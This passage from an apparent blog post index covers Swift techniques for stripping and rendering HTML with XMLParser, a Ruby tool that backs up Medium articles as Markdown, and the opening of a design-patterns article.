needing to strip it. As a former supervisor said: Isn’t this too crazy?Option 1. NSAttributedStringlet data = \"<div>Text</div>\".data(using: .unicode)!let attributed = try NSAttributedString(data: data, options: [.documentType: NSAttributedString.DocumentType.html, .characterEncoding: String.Encoding.utf8.rawValue], documentAttributes: nil)let string = attributed.string Use NSAttributedString to render HTML and then extract the string to get a clean String The same issues as in this chapter, iOS 15 is prone to crashes, poor performance, and can only be operated on the Main ThreadOption 2. RegexhtmlString = \"<div>Test</div>\"htmlString.replacingOccurrences(of: \"<[^>]+>\", with: \"\", options: .regularExpression, range: nil) The simplest and most effective way Regex cannot guarantee complete correctness e.g. <p foo=\">now what?\">Paragraph</p> is valid HTML but will be stripped incorrectlyOption 3. XMLParserRefer to the approach of SwiftRichString, using XMLParser from Foundation to parse HTML as XML and implement HTML Parser & Strip functionality.import UIKit// Ref: https://github.com/malcommac/SwiftRichStringfinal class HTMLStripper: NSObject, XMLParserDelegate { private static let topTag = \"source\" private var xmlParser: XMLParser private(set) var storedString: String // The XML parser sometimes splits strings, which can break localization-sensitive // string transforms. Work around this by using the currentString variable to // accumulate partial strings, and then reading them back out as a single string // when the current element ends, or when a new one is started. private var currentString: String? // MARK: - Initialization init(string: String) throws { let xmlString = HTMLStripper.escapeWithUnicodeEntities(string) let xml = \"<\\(HTMLStripper.topTag)>\\(xmlString)</\\(HTMLStripper.topTag)>\" guard let data = xml.data(using: String.Encoding.utf8) else { throw XMLParserInitError(\"Unable to convert to UTF8\") } self.xmlParser = XMLParser(data: data) self.storedString = \"\" super.init() xmlParser.shouldProcessNamespaces = false xmlParser.shouldReportNamespacePrefixes = false xmlParser.shouldResolveExternalEntities = false xmlParser.delegate = self } /// Parse and generate attributed string. func parse() throws -> String { guard xmlParser.parse() else { let line = xmlParser.lineNumber let shiftColumn = (line == 1) let shiftSize = HTMLStripper.topTag.lengthOfBytes(using: String.Encoding.utf8) + 2 let column = xmlParser.columnNumber - (shiftColumn ? shiftSize : 0) throw XMLParserError(parserError: xmlParser.parserError, line: line, column: column) } return storedString } // MARK: XMLParserDelegate @objc func parser(_ parser: XMLParser, didStartElement elementName: String, namespaceURI: String?, qualifiedName qName: String?, attributes attributeDict: [String: String]) { foundNewString() } @objc func parser(_ parser: XMLParser, didEndElement elementName: String, namespaceURI: String?, qualifiedName qName: String?) { foundNewString() } @objc func parser(_ parser: XMLParser, foundCharacters string: String) { currentString = (currentString ?? \"\").appending(string) } // MARK: Support Private Methods func foundNewString() { if let currentString = currentString { storedString.append(currentString) self.currentString = nil } } // handle html entity / html hex // Perform string escaping to replace all characters which is not supported by NSXMLParser // into the specified encoding with decimal entity. // For example if your string contains '&' character parser will break the style. // This option is active by default. // ref: https://github.com/malcommac/SwiftRichString/blob/e0b72d5c96968d7802856d2be096202c9798e8d1/Sources/SwiftRichString/Support/XMLStringBuilder.swift static func escapeWithUnicodeEntities(_ string: String) -> String { guard let escapeAmpRegExp = try? NSRegularExpression(pattern: \"&(?!(#[0-9]{2,4}|[A-z]{2,6});)\", options: NSRegularExpression.Options(rawValue: 0)) else { return string } let range = NSRange(location: 0, length: string.count) return escapeAmpRegExp.stringByReplacingMatches(in: string, options: NSRegularExpression.MatchingOptions(rawValue: 0), range: range, withTemplate: \"&amp;\") }}let test = \"我<br/><a href=\\\"http://google.com\\\">同意</a>提供<b><i>個</i>人</b>身分證字號/護照/居留<span style=\\\"color:#FF0000;font-size:20px;word-spacing:10px;line-height:10px\\\">證號碼</span>,以供<i>跨境物流</i>方通關<span style=\\\"background-color:#00FF00;\\\">使用</span>,並已<img src=\\\"g.png\\\"/>了解跨境<br/>商品之物<p>流需</p>求\"let stripper = try HTMLStripper(string: test)print(try! stripper.parse())// I agree to provide personal ID number/passport/residence permit number for cross-border logistics customs clearance, and have understood the logistics requirements of cross-border goods.Using Foundation XML Parser to handle String, implement XMLParserDelegate using currentString to store String, since String may sometimes be split into multiple Strings, foundCharacters might be called repeatedly. didStartElement and didEndElement are used to find the start and end of the string, storing the current result and clearing currentString. The advantage is that it also converts HTML Entity to actual characters e.g. &#103; -> g The disadvantage is that it is complex to implement and will fail with XMLParser when encountering non-compliant HTML e.g. <br> should be written as <br/> Personally, I think Option 2 is a better method for simply stripping HTML. This method is introduced because rendering HTML also uses the same principle. Let’s use this as a simple example :)HTML Render w/XMLParserUsing XMLParser to implement it yourself, following the same principle as stripping, we can add corresponding rendering methods when parsing certain tags.Requirements: Support for extending the tags to be parsed Support for setting Tag Default Style e.g. applying link style to <a> Tag Support for parsing style attributes, as HTML will explicitly indicate the style to be displayed in style=\"color:red\" Style support for changing text weight, size, underline, line spacing, letter spacing, background color, text color Does not support Image Tag, Table Tag, etc., more complex TAGs You can reduce functionality according to your own requirements, for example, if you don’t need to support background color adjustment, you don’t need to open the setting for background color. This article is just a conceptual implementation, not the best practice in architecture; if you have clear specifications and usage, you can consider applying some Design Patterns to achieve good maintainability and extensibility.⚠️⚠️⚠️ Attention ⚠️⚠️⚠️Again, if your App is new or has the opportunity to switch entirely to Markdown format, it is recommended to adopt the above method. Writing your own renderer is too complex and will not perform better than Markdown. Even if you are on iOS < 15 and do not support native Markdown, you can still find a great Markdown Parser solution on Github.HTMLTagParserprotocol HTMLTagParser { static var tag: String { get } // Declare the Tag Name to be parsed, e.g. a var storedHTMLAttributes: [String: String]? { get set } // The parsed attributes will be stored here, e.g. href, style var style: AttributedStringStyle? { get } // The style to be applied to this Tag func render(attributedString: inout NSMutableAttributedString) // Implement the logic to render HTML to attributedString}Declare the analyzable HTML Tag entity for easy extension and management.AttributedStringStyleprotocol AttributedStringStyle { var font: UIFont? { get set } var color: UIColor? { get set } var backgroundColor: UIColor? { get set } var wordSpacing: CGFloat? { get set } var paragraphStyle: NSParagraphStyle? { get set } var customs: [NSAttributedString.Key: Any]? { get set } // Universal setting, it is recommended to abstract it out after confirming the supported specifications and close this opening func render(attributedString: inout NSMutableAttributedString)}// abstract implementextension AttributedStringStyle { func render(attributedString: inout NSMutableAttributedString) { let range = NSMakeRange(0, attributedString.length) if let font = font { attributedString.addAttribute(NSAttributedString.Key.font, value: font, range: range) } if let color = color { attributedString.addAttribute(NSAttributedString.Key.foregroundColor, value: color, range: range) } if let backgroundColor = backgroundColor { attributedString.addAttribute(NSAttributedString.Key.backgroundColor, value: backgroundColor, range: range) } if let wordSpacing = wordSpacing { attributedString.addAttribute(NSAttributedString.Key.kern, value: wordSpacing as Any, range: range) } if let paragraphStyle = paragraphStyle { attributedString.addAttribute(NSAttributedString.Key.paragraphStyle, value: paragraphStyle, range: range) } if let customAttributes = customs { attributedString.addAttributes(customAttributes, range: range) } }}Declare the styles that can be set for the Tag.HTMLStyleAttributedParser// only support tag attributed down below// can set color,font size,line height,word spacing,background colorenum HTMLStyleAttributedParser: String { case color = \"color\" case fontSize = \"font-size\" case lineHeight = \"line-height\" case wordSpacing = \"word-spacing\" case backgroundColor = \"background-color\" func render(attributedString: inout NSMutableAttributedString, value: String) -> Bool { let range = NSMakeRange(0, attributedString.length) switch self { case .color: if let color = convertToiOSColor(value) { attributedString.addAttribute(NSAttributedString.Key.foregroundColor, value: color, range: range) return true } case .backgroundColor: if let color = convertToiOSColor(value) { attributedString.addAttribute(NSAttributedString.Key.backgroundColor, value: color, range: range) return true } case .fontSize: if let size = convertToiOSSize(value) { attributedString.addAttribute(NSAttributedString.Key.font, value: UIFont.systemFont(ofSize: CGFloat(size)), range: range) return true } case .lineHeight: if let size = convertToiOSSize(value) { let paragraphStyle = NSMutableParagraphStyle() paragraphStyle.lineSpacing = size attributedString.addAttribute(NSAttributedString.Key.paragraphStyle, value: paragraphStyle, range: range) return true } case .wordSpacing: if let size = convertToiOSSize(value) { attributedString.addAttribute(NSAttributedString.Key.kern, value: size, range: range) return true } } return false } // convert 36px -> 36 private func convertToiOSSize(_ string: String) -> CGFloat? { guard let regex = try? NSRegularExpression(pattern: \"^([0-9]+)\"), let firstMatch = regex.firstMatch(in: string, options: [], range: NSRange(location: 0, length: string.utf16.count)), let range = Range(firstMatch.range, in: string), let size = Float(String(string[range])) else { return nil } return CGFloat(size) } // convert html hex color #ffffff to UIKit Color private func convertToiOSColor(_ hexString: String) -> UIColor? { var cString: String = hexString.trimmingCharacters(in: .whitespacesAndNewlines).uppercased() if cString.hasPrefix(\"#\") { cString.remove(at: cString.startIndex) } if (cString.count) != 6 { return nil } var rgbValue: UInt64 = 0 Scanner(string: cString).scanHexInt64(&rgbValue) return UIColor( red: CGFloat((rgbValue & 0xFF0000) >> 16) / 255.0, green: CGFloat((rgbValue & 0x00FF00) >> 8) / 255.0, blue: CGFloat(rgbValue & 0x0000FF) / 255.0, alpha: CGFloat(1.0) ) }}Implement Style Attributed Parser to parse style=\"color:red;font-size:16px\" but CSS Style has many configurable styles, so it is necessary to enumerate the supported range.extension HTMLTagParser { func render(attributedString: inout NSMutableAttributedString) { defaultStyleRender(attributedString: &attributedString) } func defaultStyleRender(attributedString: inout NSMutableAttributedString) { // setup default style to NSMutableAttributedString style?.render(attributedString: &attributedString) // setup & override HTML style (style=\"color:red;background-color:black\") to NSMutableAttributedString if is exists // any html tag can have style attribute if let style = storedHTMLAttributes?[\"style\"] { let styles = style.split(separator: \";\").map { $0.split(separator: \":\") }.filter { $0.count == 2 } for style in styles { let key = String(style[0]) let value = String(style[1]) if let styleAttributed = HTMLStyleAttributedParser(rawValue: key), styleAttributed.render(attributedString: &attributedString, value: value) { print(\"Unsupported style attributed or value[\\(key):\\(value)]\") } } } }}Apply HTMLStyleAttributedParser & HTMLStyleAttributedParser abstract implementation.Some examples of Tag Parser & AttributedStringStyle implementationstruct LinkStyle: AttributedStringStyle { var font: UIFont? = UIFont.systemFont(ofSize: 14) var color: UIColor? = UIColor.blue var backgroundColor: UIColor? = nil var wordSpacing: CGFloat? = nil var paragraphStyle: NSParagraphStyle? var customs: [NSAttributedString.Key: Any]? = [.underlineStyle: NSUnderlineStyle.single.rawValue]}struct ATagParser: HTMLTagParser { // <a></a> static let tag: String = \"a\" var storedHTMLAttributes: [String: String]? = nil let style: AttributedStringStyle? = LinkStyle() func render(attributedString: inout NSMutableAttributedString) { defaultStyleRender(attributedString: &attributedString) if let href = storedHTMLAttributes?[\"href\"], let url = URL(string: href) { let range = NSMakeRange(0, attributedString.length) attributedString.addAttribute(NSAttributedString.Key.link, value: url, range: range) } }}struct BoldStyle: AttributedStringStyle { var font: UIFont? = UIFont.systemFont(ofSize: 14, weight: .bold) var color: UIColor? = UIColor.black var backgroundColor: UIColor? = nil var wordSpacing: CGFloat? = nil var paragraphStyle: NSParagraphStyle? var customs: [NSAttributedString.Key: Any]? = [.underlineStyle: NSUnderlineStyle.single.rawValue]}struct BoldTagParser: HTMLTagParser { // <b></b> static let tag: String = \"b\" var storedHTMLAttributes: [String: String]? = nil let style: AttributedStringStyle? = BoldStyle()}HTMLToAttributedStringParser: XMLParserDelegate core implementation// Ref: https://github.com/malcommac/SwiftRichStringfinal class HTMLToAttributedStringParser: NSObject { private static let topTag = \"source\" private var xmlParser: XMLParser? private(set) var attributedString: NSMutableAttributedString = NSMutableAttributedString() private(set) var supportedTagRenders: [HTMLTagParser] = [] private let defaultStyle: AttributedStringStyle /// Styles applied at each fragment. private var renderingTagRenders: [HTMLTagParser] = [] // The XML parser sometimes splits strings, which can break localization-sensitive // string transforms. Work around this by using the currentString variable to // accumulate partial strings, and then reading them back out as a single string // when the current element ends, or when a new one is started. private var currentString: String? // MARK: - Initialization init(defaultStyle: AttributedStringStyle) { self.defaultStyle = defaultStyle super.init() } func register(_ tagRender: HTMLTagParser) { if let index = supportedTagRenders.firstIndex(where: { type(of: $0).tag == type(of: tagRender).tag }) { supportedTagRenders.remove(at: index) } supportedTagRenders.append(tagRender) } /// Parse and generate attributed string. func parse(string: String) throws -> NSAttributedString { var xmlString = HTMLToAttributedStringParser.escapeWithUnicodeEntities(string) // make sure <br/> format is correct XML // because Web may use <br> to present <br/>, but <br> is not a valid XML xmlString = xmlString.replacingOccurrences(of: \"<br>\", with: \"<br/>\") let xml = \"<\\(HTMLToAttributedStringParser.topTag)>\\(xmlString)</\\(HTMLToAttributedStringParser.topTag)>\" guard let data = xml.data(using: String.Encoding.utf8) else { throw XMLParserInitError(\"Unable to convert to UTF8\") } let xmlParser = XMLParser(data: data) xmlParser.shouldProcessNamespaces = false xmlParser.shouldReportNamespacePrefixes = false xmlParser.shouldResolveExternalEntities = false xmlParser.delegate = self self.xmlParser = xmlParser attributedString = NSMutableAttributedString() guard xmlParser.parse() else { let line = xmlParser.lineNumber let shiftColumn = (line == 1) let shiftSize = HTMLToAttributedStringParser.topTag.lengthOfBytes(using: String.Encoding.utf8) + 2 let column = xmlParser.columnNumber - (shiftColumn ? shiftSize : 0) throw XMLParserError(parserError: xmlParser.parserError, line: line, column: column) } return attributedString }}// MARK: Private Methodprivate extension HTMLToAttributedStringParser { func enter(element elementName: String, attributes: [String: String]) { // elementName = tagName, EX: a,span,div... guard elementName != HTMLToAttributedStringParser.topTag else { return } if let index = supportedTagRenders.firstIndex(where: { type(of: $0).tag == elementName }) { var tagRender = supportedTagRenders[index] tagRender.storedHTMLAttributes = attributes renderingTagRenders.append(tagRender) } } func exit(element elementName: String) { if !renderingTagRenders.isEmpty { renderingTagRenders.removeLast() } } func foundNewString() { if let currentString = currentString { // currentString != nil ,ex: <i>currentString</i> var newAttributedString = NSMutableAttributedString(string: currentString) if !renderingTagRenders.isEmpty { for (key, tagRender) in renderingTagRenders.enumerated() { // Render Style tagRender.render(attributedString: &newAttributedString) renderingTagRenders[key].storedHTMLAttributes = nil } } else { defaultStyle.render(attributedString: &newAttributedString) } attributedString.append(newAttributedString) self.currentString = nil } else { // currentString == nil ,ex: <br/> var newAttributedString = NSMutableAttributedString() for (key, tagRender) in renderingTagRenders.enumerated() { // Render Style tagRender.render(attributedString: &newAttributedString) renderingTagRenders[key].storedHTMLAttributes = nil } attributedString.append(newAttributedString) } }}// MARK: Helperextension HTMLToAttributedStringParser { // handle html entity / html hex // Perform string escaping to replace all characters which is not supported by NSXMLParser // into the specified encoding with decimal entity. // For example if your string contains '&' character parser will break the style. // This option is active by default. // ref: https://github.com/malcommac/SwiftRichString/blob/e0b72d5c96968d7802856d2be096202c9798e8d1/Sources/SwiftRichString/Support/XMLStringBuilder.swift static func escapeWithUnicodeEntities(_ string: String) -> String { guard let escapeAmpRegExp = try? NSRegularExpression(pattern: \"&(?!(#[0-9]{2,4}|[A-z]{2,6});)\", options: NSRegularExpression.Options(rawValue: 0)) else { return string } let range = NSRange(location: 0, length: string.count) return escapeAmpRegExp.stringByReplacingMatches(in: string, options: NSRegularExpression.MatchingOptions(rawValue: 0), range: range, withTemplate: \"&amp;\") }}// MARK: XMLParserDelegateextension HTMLToAttributedStringParser: XMLParserDelegate { func parser(_ parser: XMLParser, didStartElement elementName: String, namespaceURI: String?, qualifiedName qName: String?, attributes attributeDict: [String: String]) { foundNewString() enter(element: elementName, attributes: attributeDict) } func parser(_ parser: XMLParser, didEndElement elementName: String, namespaceURI: String?, qualifiedName qName: String?) { foundNewString() guard elementName != HTMLToAttributedStringParser.topTag else { return } exit(element: elementName) } func parser(_ parser: XMLParser, foundCharacters string: String) { currentString = (currentString ?? \"\").appending(string) }}Applying the logic of Strip, we can combine the parsed structure by knowing the current Tag from elementName and applying the corresponding Tag Parser and defined Style.Test Resultlet test = \"我<br/><a href=\\\"http://google.com\\\">同意</a>提供<b><i>個</i>人</b>身分證字號/護照/居留<span style=\\\"color:#FF0000;font-size:20px;word-spacing:10px;line-height:10px\\\">證號碼</span>,以供<i>跨境物流</i>方通關<span style=\\\"background-color:#00FF00;\\\">使用</span>,並已<img src=\\\"g.png\\\"/>了解跨境<br/>商品之物<p>流需</p>求\"let render = HTMLToAttributedStringParser(defaultStyle: DefaultTextStyle())render.register(ATagParser())render.register(BoldTagParser())render.register(SpanTagParser())//...print(try! render.parse(string: test))// Result:// 我{// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSParagraphStyle = \"Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// }同意{// NSColor = \"UIExtendedSRGBColorSpace 0 0 1 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSLink = \"http://google.com\";// NSUnderline = 1;// }提供{// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSParagraphStyle = \"Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// }個{// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Bold 14.00 pt. P [] (0x13a013870) fobj=0x13a013870, spc=3.46\\\"\";// NSUnderline = 1;// }人身分證字號/護照/居留{// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSParagraphStyle = \"Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// }證號碼{// NSColor = \"UIExtendedSRGBColorSpace 1 0 0 1\";// NSFont = \"\\\".SFNS-Regular 20.00 pt. P [] (0x13a015fa0) fobj=0x13a015fa0, spc=4.82\\\"\";// NSKern = 10;// NSParagraphStyle = \"Alignment 4, LineSpacing 10, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// },以供跨境物流方通關{// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSParagraphStyle = \"Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// }使用{// NSBackgroundColor = \"UIExtendedSRGBColorSpace 0 1 0 1\";// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSParagraphStyle = \"Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// },並已了解跨境商品之物流需求{// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSParagraphStyle = \"Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// }Display Result:Done!We have now completed implementing the HTML Render function through XMLParser, maintaining both extensibility and specification. This allows us to manage and understand the types of string rendering supported by the current App from the code.Complete Github Repo as follows This article is also published on my personal Blog: [Click here to visit]. For any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Converting Medium Posts to Markdown", "url": "/posts/ddd88a84e177/", "categories": "ZRealm, Dev.", "tags": "medium, markdown, backup, ruby, automation", "date": "2022-05-28 15:04:35 +0800", "snippet": "Converting Medium Posts to MarkdownWriting a small tool to back up Medium articles & convert them to Markdown formatZhgChgLi / ZMediumToMarkdown[EN] ZMediumToMarkdownI’ve written a project to l...", "content": "Converting Medium Posts to MarkdownWriting a small tool to back up Medium articles & convert them to Markdown formatZhgChgLi / ZMediumToMarkdown[EN] ZMediumToMarkdownI’ve written a project to let you download Medium post and convert it to markdown format easily.Features Support download post and convert to markdown format Support download all posts and convert to markdown format from any user without login access. Support download paid content Support download all of post’s images to local and convert to local path Support parse Twitter tweet content to blockquote Support download paid content Support command line interface Convert Gist source code to markdown code block Convert youtube link which embed in post to preview image Adjust post’s last modification date from Medium to the local downloaded markdown file Auto skip when post has been downloaded and last modification date from Medium doesn’t changed (convenient for auto-sync or auto-backup service, to save server’s bandwidth and execution time) Support using Github Action as auto sync/backup service Highly optimized markdown format for Medium Native Markdown Style Render Engine (Feel free to contribute if you any optimize idea! MarkupStyleRender.rb ) jekyll & social share (og: tag) friendly 100% Ruby @ RubyGem[CH] ZMediumToMarkdownA backup tool that can crawl the content of Medium article links or all articles of a Medium user, convert them into Markdown format, and download them along with the images in the articles.[2022/07/18 Update]: Step-by-step guide to seamlessly migrate Medium to a self-hosted siteFeatures No login required, no special permissions needed Supports downloading and converting single articles or all articles of a user into Markdown Supports downloading and backing up all images in the articles and converting them to corresponding image paths Supports deep parsing of Gist embedded in articles and converting them into corresponding language Markdown Code Blocks Supports parsing Twitter content and reposting it in the article Supports parsing YouTube videos embedded in articles, converting them into video preview images and links displayed in Markdown When downloading all articles of a user, it will scan for embedded related articles and replace the links with local ones if found Specially optimized for Medium format styles Automatically changes the last modified/created time of the downloaded articles to the same as the Medium article’s publication time Automatically compares the last modification of the downloaded articles, and skips if it is not less than the last modification time of the Medium article(This mechanism can save server traffic/time, making it convenient for users to use this tool to create automatic Sync/Backup tools) CLI operation, supports automation This project and this article are for technical research only. Please do not use it for any commercial purposes or illegal purposes. The author is not responsible for any illegal activities conducted using this tool. This is a disclaimer. Please ensure you have the rights to use and download the articles before backing them up.OriginIn the third year of managing Medium, I have published over 65 articles; all articles were written directly on the Medium platform without any other backups. Honestly, I have always been afraid that issues with the Medium platform or other factors might cause the disappearance of my hard work over the years.I had manually backed up before, which was very boring and time-consuming, so I have been looking for a tool that can automatically download and back up all articles, preferably converting them into Markdown format.Backup Requirements Markdown format Automatically download all Medium posts of a user Article images should also be downloadable and backed up Ability to parse Gist into Markdown Code Block(I use gist a lot to embed source code in my Medium articles, so this feature is very important)Backup SolutionsMedium OfficialAlthough the official provides an export backup function, the export format can only be used for importing into Medium, not Markdown or common formats, and it does not handle embedded content like Github Gist.The API provided by Medium is not well-maintained and only offers the Create Post function. Reasonable, because Medium does not want users to easily transfer content to other platforms.Chrome ExtensionI found and tried several Chrome Extensions (most of which have been taken down), but the results were not good. First, you have to manually click into each article to back it up, and second, the parsed format had many errors and could not deeply parse Gist source code or back up all images in the articles.medium-to-markdown command lineSome expert wrote it in JS, which can achieve basic download and conversion to Markdown functionality, but still lacks image backup and deep parsing of Gist Source Code.ZMediumToMarkdownAfter struggling to find a perfect solution, I decided to write a backup conversion tool myself; it took about three weeks of after-work time to complete using Ruby.Technical DetailsHow to get the article list by entering the username? Obtain UserID: View the user’s homepage (https://medium.com/@#{username}) source code to find the Username corresponding to the UserIDNote that because Medium reopened custom domains, you need to handle 30X redirects Sniffing network requests reveals that Medium uses GraphQL to get the homepage article list information Copy the Query & replace UserID in the request information HOST: https://medium.com/_/graphqlMETHOD: POST Get the ResponseYou can only get 10 items at a time, so you need to paginate. Article list: can be obtained in result[0]->userResult->homepagePostsConnection->posts homepagePostsFrom pagination information: can be obtained in result[0]->userResult->homepagePostsConnection->pagingInfo->nextInclude homepagePostsFrom in the request to paginate, nil means there are no more pagesHow to parse article content?Viewing the article source code reveals that Medium uses the Apollo Client service for setup; its HTML is actually rendered from JS; therefore, you can find the window.__APOLLO_STATE__ field in the We need to do the same, parse this JSON, match the Type to the Markdown style, and assemble the Markdown format.Technical DifficultiesA technical difficulty here is rendering paragraph text styles, where Medium provides the structure as follows:\"Paragraph\": { \"text\": \"code in text, and link in text, and ZhgChgLi, and bold, and I, only i\", \"markups\": [ { \"type\": \"CODE\", \"start\": 5, \"end\": 7 }, { \"start\": 18, \"end\": 22, \"href\": \"http://zhgchg.li\", \"type\": \"LINK\" }, { \"type\": \"STRONG\", \"start\": 50, \"end\": 63 }, { \"type\": \"EM\", \"start\": 55, \"end\": 69 } ]}This means that for the text code in text, and link in text, and ZhgChgLi, and bold, and I, only i:- Characters 5 to 7 should be marked as code (wrapped in `Text` format)- Characters 18 to 22 should be marked as a link (wrapped in [Text](URL) format)- Characters 50 to 63 should be marked as bold (wrapped in *Text* format)- Characters 55 to 69 should be marked as italic (wrapped in _Text_ format)Characters 5 to 7 & 18 to 22 are easy to handle in this example because they do not overlap; but 50–63 & 55–69 will have overlapping issues, and Markdown cannot represent overlapping in the following way:code `in` text, and [ink](http://zhgchg.li) in text, and ZhgChgLi, and **bold,_ and I, **only i_The correct combination result is as follows:code `in` text, and [ink](http://zhgchg.li) in text, and ZhgChgLi, and **bold,_ and I, _**_only i_50–55 STRONG 55–63 STRONG, EM 63–69 EMAdditionally, please note: The beginning and end of the packaging format string should be distinguishable. Strong just happens to have ** at both the beginning and end. If it is a Link, the beginning will be [ and the end will be ](URL). When combining Markdown symbols with strings, be careful not to have spaces before or after, otherwise, it will fail.See the full issue here.This has been studied for a long time, and for now, we are using an existing package to solve it reverse_markdown. Special thanks to former colleagues Nick , Chun-Hsiu Liu , and James for their collaborative research. I will write and convert it to native code when I have time.ResultsOriginal text -> Converted Markdown resultIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Record of Practical Application of Design Patterns", "url": "/posts/78507a8de6a5/", "categories": "Pinkoi, Engineering", "tags": "ios-app-development, design-patterns, socketio, websocket, finite-state-machine", "date": "2022-04-07 22:49:17 +0800", "snippet": "Record of Practical Application of Design PatternsRecord of problem scenarios encountered and solutions applied when encapsulating Socket.IO Client Library requirements using Design PatternsPhoto b...", "content": "Record of Practical Application of Design PatternsRecord of problem scenarios encountered and solutions applied when encapsulating Socket.IO Client Library requirements using Design PatternsPhoto by Daniel McCulloughPrefaceThis article is a record of real-world development requirements, where Design Patterns were applied to solve problems. The content will cover the background of the requirements, the actual problem scenarios encountered (What?), why Design Patterns were applied to solve the problems (Why?), and how they were implemented (How?). It is recommended to read from the beginning for coherence. This article will introduce four scenarios encountered in developing this requirement and the application of seven Design Patterns to solve these 